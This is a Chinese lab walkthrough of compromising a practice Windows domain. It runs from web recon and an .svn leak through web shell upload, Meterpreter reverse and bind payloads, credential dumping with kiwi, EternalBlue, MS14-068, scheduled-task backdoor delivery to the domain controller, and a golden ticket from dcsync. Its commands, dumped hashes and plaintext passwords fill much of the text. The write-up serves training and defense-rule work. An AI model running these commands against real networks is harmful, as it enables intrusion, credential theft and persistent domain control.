目录
难度不高,整个这玩意纯粹是想写写防御内网攻击的规则,搞点跟同事不一样的防御规则🙃
环境准备
绑定host文件
192.168.239.150 www.webhack123.com
信息收集
主机发现
netdiscover主机发现
不知道是不是我这个版本的kali有问题还是怎么着,netdiscover一直不能使用
sudo netdiscover -i eth0 -r 192.168.239.0/24
有图有真相,抓包显示kali做了arp主机发现,但是收不到结果
还是用nmap吧
nmap主机发现
nmap -sn 192.168.239.0/24
端口扫描
masscan端扫描
sudo masscan -p 1-65535 192.168.239.196 --rate=1000
nmap端口信息探测
nmap -A -p 80,49154,3306,135,3389,47001,49155,49156,139,49157,445,49152,49153 192.168.239.196
┌──(kali㉿kali)-[~/target5]
└─$ nmap -A -p 80,49154,3306,135,3389,47001,49155,49156,139,49157,445,49152,49153 192.168.239.196
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-28 03:33 EST
Stats: 0:01:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
Nmap scan report for www.webhack123.com (192.168.239.196)
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
|_http-title: \xE7\xAB\x8B\xE5\x88\xBB\xE8\xB4\xB7 - \xE7\xAB\x8B\xE5\x88\xBB\xE8\xB4\xB7
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=web.hackbox.com
| Not valid before: 2021-12-27T08:07:30
|_Not valid after: 2022-06-28T08:07:30
|_ssl-date: 2021-12-28T08:35:38+00:00; 0s from scanner time.
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WEB, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:44:38:fd (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-12-28T08:34:28
|_ start_date: 2020-06-22T13:23:40
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.65 seconds
网站探测
指纹识别
whatweb http://www.webhack123.com
目录扫描
dirb http://www.webhack123.com | grep -v SIZE:2208
加个grep,只要dirb扫描的结果中包含SIZE:2208
(响应码403)就过滤掉,不显示
发现存在svn信息泄露,访问一下看看,发现存在“wc.db”文件
SVN信息泄露
下载svn泄露文件
wget http://www.webhack123.com/.svn/wc.db
查看文件内容
sqlitebrowser wc.db
可以获知网站的目录。发现存在大量log文件,可以写个脚本,把这些日志整合到一个文件中,查看有没有网站的一些账号密码啥的。
搜索log日志
编写如下脚本进行检测:
import requests
# testurl="http://www.webhack123.com/App/Runtime/Logs/19_05_24.log"
url = "http://www.webhack123.com/App/Runtime/Logs"
def addurls(url, y):
# 09_09
# 10_10
urls = []
for i in range(1, 13):
for j in range(1, 32):
if i < 10:
if j < 10:
urls.append(url + "/%s_0%s_0%s.log" % (y, i, j))
else:
urls.append(url + "/%s_0%s_%s.log" % (y, i, j))
else:
if j < 10:
urls.append(url + "/%s_%s_0%s.log" % (y, i, j))
else:
urls.append(url + "/%s_%s_%s.log" % (y, i, j))
return urls
# print(addurls(url,19)
urls = addurls(url, 20)
for i in urls:
r = requests.get(i)
if r.status_code == 200:
print(i)
with open("webhack.txt", 'a', encoding='utf-8') as f:
f.write(r.text)
查找还是用notepad++来做吧,如下图,最后一次的password是:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,经过md5解密之后是web123,于是得到admin
、web123
绑定 hosts 碰撞管理后台
接下来需要找一下网站后台了。由于我是通过绑定host文件来访问网站的,如果网站的后台是个子域名的话,我肯定是爆破不出来的,因此需要借助一款工具“Hosts_scan”,这是一个用于IP和域名碰撞匹配访问的小工具,旨意用来匹配出渗透过程中需要绑定hosts才能访问的弱主机或内部系统。项目地址:https://github.com/fofapro/Hosts_scanHosts_scan.pdf(后缀改为zip解压即可)
使用时需要对文件做一些修改:
- 在“ip.txt”中指明目标ip地址
- 在“host.txt”中指明目标的域名地址
- 结果可以在“hosts_ok.txt”中看到
得到网站后台地址:http://admin.webhack123.com
登录后台
getshell
- 添加php,然后点击页面最下方的“提交”,来保存设置
- 上传一句话木马,拿到shell
后渗透
MSF获取提权
- 生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4455 -f exe >r.exe
- msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
- 上传并运行后门
- 获取session
- 提权
迁移进程
迁移到X64的SYSTEM权限的进程中,方便获取hash值等操作
关于这部分详细的解释,参见之前的笔记“后渗透模块Meterpreter-系统口令”:https://www.yuque.com/u1881995/ytuylg/tfqni1#S2c8R
哈希明文
获取到系统的账号密码:Administrator
!@#Qwe456
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
看到了Domain,说明是个域环境。
meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator WEB c6125126643bbe191e929f 086a0bb1ed4ec72250760ea b243bd1e36ad7ccb65f59e1
fc01395127 531bf8074 51dfe5b521a5f2b9b
WEB$ HACKBOX c7a76f200663a065e390654 f31f994dbbc0862aa890e2b
a6f10cd38 2944b00c012458d4f
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WEB !@#Qwe456
WEB$ HACKBOX e7 fa 41 44 62 b1 26 fe 46 d0 0d f1 c0 a0 26 c0 5f f5 30 c9 80 be d3 e9
4f 41 87 3d 28 e9 56 9e 76 e4 69 6f 6b 33 6a f4 f7 3b d1 65 a8 b1 75 be
a6 bc 6e 36 0e 92 e5 f2 1e 59 2f 87 94 6d 3a 40 3e 5e 85 d5 14 ad 73 1e
09 60 d1 bd e4 5b 1a 82 c9 5e 9c ce 9a 50 b2 f4 ee ad 1a 7b d5 f0 d5 0f
41 31 5c 5e 6b 68 4a c1 d2 df eb d2 b8 fb 47 da 14 ff 68 d4 90 2e de 1f
73 65 bf 79 7e e0 82 61 24 02 7b bb e1 59 f4 a5 81 b8 ec 2d 21 cf 73 10
21 ef e1 83 bc 94 fb 73 43 39 16 c7 e4 d6 bd be 5f 80 21 32 ce ab d6 f8
75 ac ce c4 14 3b e3 8d ed b7 3c 97 11 c9 89 c2 23 fa 56 b3 49 6f 01 11
d2 a9 59 6c ca cb a8 d3 2b f7 c1 01 e7 fd 74 46 a2 8b ae 62 32 e9 30 64
5e c6 97 cd f6 2d bb 6f a6 4f c6 92 fb 13 c2 93 f5 87 82 9f 5a c9 bf 41
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator WEB !@#Qwe456
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WEB !@#Qwe456
web$ HACKBOX.COM e7 fa 41 44 62 b1 26 fe 46 d0 0d f1 c0 a0 26 c0 5f f5 30 c9 80 be d3
e9 4f 41 87 3d 28 e9 56 9e 76 e4 69 6f 6b 33 6a f4 f7 3b d1 65 a8 b
1 75 be a6 bc 6e 36 0e 92 e5 f2 1e 59 2f 87 94 6d 3a 40 3e 5e 85 d5
14 ad 73 1e 09 60 d1 bd e4 5b 1a 82 c9 5e 9c ce 9a 50 b2 f4 ee ad 1a
7b d5 f0 d5 0f 41 31 5c 5e 6b 68 4a c1 d2 df eb d2 b8 fb 47 da 14 f
f 68 d4 90 2e de 1f 73 65 bf 79 7e e0 82 61 24 02 7b bb e1 59 f4 a5
81 b8 ec 2d 21 cf 73 10 21 ef e1 83 bc 94 fb 73 43 39 16 c7 e4 d6 bd
be 5f 80 21 32 ce ab d6 f8 75 ac ce c4 14 3b e3 8d ed b7 3c 97 11 c
9 89 c2 23 fa 56 b3 49 6f 01 11 d2 a9 59 6c ca cb a8 d3 2b f7 c1 01
e7 fd 74 46 a2 8b ae 62 32 e9 30 64 5e c6 97 cd f6 2d bb 6f a6 4f c6
92 fb 13 c2 93 f5 87 82 9f 5a c9 bf 41
meterpreter >
发现域控
通过net view /domain
确认存在域环境
域内信息收集
手工的收集姿势,参见之前的文章:https://www.yuque.com/u1881995/pborfs/cnecck#AcSmV
这里使用msf自带的后渗透工具
- 搜索出所有跟域有关的模块:
search domain
- 把搜索结果复制下来,看看哪个好用些
用一下: post/windows/gather/enum_logged_on_users
,拿到了一些登录信息。
msf6 post(windows/gather/enum_logged_on_users) > exploit
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-18 NT AUTHORITY\SYSTEM
S-1-5-21-1443003717-4130318662-4279967973-500 WEB\Administrator
[+] Results saved in: /home/kali/.msf4/loot/20211229041747_default_192.168.239.196_host.users.activ_396319.txt
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
[*] Post module execution completed
配置路由
这里的操作,在“代理-内网跳板机”中介绍过,此处简单演示一遍
- 查看web服务器的网卡信息
查看网络接口信息:run get_local_subnets
查看活动路由列表:run autoroute -p
发现目标存在10的内网网段,并且没有路由信息
- 添加内网路由
run autoroute -s 10.10.10.0/24
:以CIDR的方式添加路由信息
配置socks
在msf6中,一些设置发生了变化
- 配置socks_proxy,并运行
- 配置proxychains4.conf
发现,只有proxychains4.conf,没有proxychains.conf了
配置一下proxychains4.conf,最后一行添加socks5代理即可
攻击域控
DC信息收集
从“域内信息收集”中得知域控的地址是10.10.10.149,因此直接收集它的信息就好了。
proxychains4 nmap -Pn -sT -sV 10.10.10.149 -F
永恒之蓝攻击-失败
看到DC开启了445端口,试试永恒之蓝
shell中,先停止socks代理,搜索一下ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp # 没法反弹,只能正向连接
set rhost 10.10.10.149
exploit
域用户提权漏洞(MS14-068)
漏洞原因及复现参见:https://www.cnblogs.com/feizianquan/p/11760564.html
有时候administrator用户的密码就是域用户的密码,因此可以试试能不能远程桌面登录跳板机来实现提权
利用前提:
- 域控没有打MS14-068的补丁(KB3011780)
- 拿下一台加入域的计算机
- 有这台域内计算机的域用户密码和Sid
远程桌面登录域用户-失败
- 确认跳板机的远程桌面开启
可以在shell中使用netstat -ano | findstr 3389
查看远程桌面有没有开启
如果没有开启,可以在meterpreter中使用run post/windows/manage/enable_rdp
开启
- 登录跳板机
- 呵呵哒,权限不允许
MS14-068
还是按照参考连接的方式来吧,参考链接中有工具的下载地址。
创建新票据
- 使用中国蚁剑或者msf上传 Ms14-068.exe
- 查看一下工具的用法
- 获取ssid
在上文“域内信息收集”中得知:
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
于是得出命令:
ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
- 创建新票据
清理旧票据
- 载入kiwi:
load kiwi
- 清空票据:
kerberos_ticket_purge
导入新票据
msf6中的kiwi好像没有这个功能,还是上传个mimikatz吧
命令格式:kerberos::ptc 你的证书名字
可以通过刷新蚁剑,shell中dir命令查看证书名字
查看当前票据
查看当前票据
klist
或者kerberos::list
连接域控
思路:msfvenom生成正向连接的后门投递到域控上面
- 生成正向后门
msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe >hack.exe
- 投递后门
2.1 投递到跳板机
upload /home/kali/hack.exe C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20211230
ls C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20211230
2.2 投递到DC
确认下DC的C盘根目录下有哪些文件
dir \\dc\c$
投递后门,改个名字(可选)
copy hack.exe \\dc\c$\sys.exe
确认投递成功
dir \\dc\c$
- 创建执行后门的计划任务
查看dc的当前事件
net time \\dc
创建计划任务
at \\dc 15:35:00 c:/sys.exe
查看当前的计划任务
at \\dc
- 连接域控
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.149
set lport 4455
exploit
哈希明文
得到账号密码
- Username : Administrator
- Domain : HACKBOX
- Password : !@#Qwe123
- 使用
post/windows/gather/smart_hashdump
获取哈希
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against DC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/kali/.msf4/loot/20211230024630_default_10.10.10.149_windows.hashes_334257.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:3e86c08f1f55f0f69f0555d1e9fb7754
[+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:c7a76f200663a065e390654a6f10cd38
- 使用kiwi获取明文
meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 LM
-------- ------ ---- ---- --
Administrator HACKBOX 2cbe963d0d877c8cc7d09c936f1c ff7a40c2f412e393dff20b0385232 32801fe143b57a06b75e0c8d76954
3b33 b1190bce768 a50
DC$ HACKBOX 3e86c08f1f55f0f69f0555d1e9fb bbfb7d019c483e0e279ee7217dd81
7754 f3459409c3d
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator HACKBOX !@#Qwe123
DC$ HACKBOX 94 bd 79 5d 87 ca ed 6a ac 6f 1b dc bd d0 d7 16 ce 50 6a e2 5a 2e d5 4b 89 28 88 5e 48 37
3b f2 1e 46 1f 93 00 50 d7 53 9f 9b 7f 6a 61 31 02 1f ff 77 c4 50 c2 c3 b0 c6 d8 90 1d 2d
14 c5 0a 9a ee 86 ae ec c3 32 d5 66 fb 3a 83 5f d4 8f fe ec 41 ee bb 9c b5 8d e3 5e 2a a2
7a de 33 16 f8 be 20 a4 f5 5a f4 6f dc 52 2e 00 1a e2 03 f9 b7 16 05 1c 05 d8 fd a1 21 89
9a e1 21 d3 9e 0d 89 ef db c3 f2 3b 75 d5 0d 86 7d 24 fb 29 e5 1d 84 1f b3 b2 d6 e6 56 53
f6 c1 70 8d 6a 8d 6e 73 ac ce 8c 42 76 ab c1 4f 53 08 a8 08 46 8a 29 7c 38 6c 3e a8 1c d3
de d9 86 ce 53 10 c6 93 99 b3 0f 92 49 c8 8a 00 31 02 ac 65 5f f5 88 0c 9c dc 8d dc 59 b0
a2 a2 76 12 47 47 19 2c 2d c0 a3 2f 92 bc ea a2 c3 1d 25 dd e9 ed d6 03 e7 2d 64 37 e9 38
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator HACKBOX !@#Qwe123
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator HACKBOX.COM !@#Qwe123
dc$ HACKBOX.COM 94 bd 79 5d 87 ca ed 6a ac 6f 1b dc bd d0 d7 16 ce 50 6a e2 5a 2e d5 4b 89 28 88 5e 48
37 3b f2 1e 46 1f 93 00 50 d7 53 9f 9b 7f 6a 61 31 02 1f ff 77 c4 50 c2 c3 b0 c6 d8 9
0 1d 2d 14 c5 0a 9a ee 86 ae ec c3 32 d5 66 fb 3a 83 5f d4 8f fe ec 41 ee bb 9c b5 8d
e3 5e 2a a2 7a de 33 16 f8 be 20 a4 f5 5a f4 6f dc 52 2e 00 1a e2 03 f9 b7 16 05 1c 05
d8 fd a1 21 89 9a e1 21 d3 9e 0d 89 ef db c3 f2 3b 75 d5 0d 86 7d 24 fb 29 e5 1d 84 1
f b3 b2 d6 e6 56 53 f6 c1 70 8d 6a 8d 6e 73 ac ce 8c 42 76 ab c1 4f 53 08 a8 08 46 8a
29 7c 38 6c 3e a8 1c d3 de d9 86 ce 53 10 c6 93 99 b3 0f 92 49 c8 8a 00 31 02 ac 65 5f
f5 88 0c 9c dc 8d dc 59 b0 a2 a2 76 12 47 47 19 2c 2d c0 a3 2f 92 bc ea a2 c3 1d 25 d
d e9 ed d6 03 e7 2d 64 37 e9 38
meterpreter >
远程桌面登录
正确的操作是创建一个管理员组的用户,这里图省事直接以管理员身份登录了
- 开启3389:
run post/windows/manage/enable_rdp
- 使用代理登录
hackbox\administrator
、!@#Qwe123
3个flag
前两个通过跳板机即可查看到
第三个需要切换到DC才能查看到
权限维持-黄金票据
考虑长期权维护,还是做一个黄金票据比较保险。
首先先把跳板机的票据信息都给清除掉,访问域控失败,说明确实已经清理掉了
前提条件
- krbtgt的hash
- 本地管理员权限
- 域的sid(普通用户的sid除去最后三位就是域的sid)
- 域内任意用户的本地管理员权限
准备票据信息
- 清理已经票据(前面已经清理过了)
- 获取“前提条件”中所需的信息,session切换到DC下
- token窃取,切换掉system身份
meterpreter > steal_token 2092
Stolen token with username: HACKBOX\Administrator
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
制作票据
golden_ticket_create -d hackbox.com -u asuka -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
注意,-s
参数填写SID时,最后一个-
及之后的内容没有填写。即:获取到的sid是S-1-5-21-2005268815-658469957-1189185684-502
,但是实际写的时候是S-1-5-21-2005268815-658469957-1189185684
使用票据
session切换到跳板机下
- 确认跳板机上是没有票据的
列出当前票据:kerberos_ticket_list
- 加载刚做好的票据:
kerberos_ticket_use /tmp/krbtgt.ticket
- 访问域控成功
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134265.html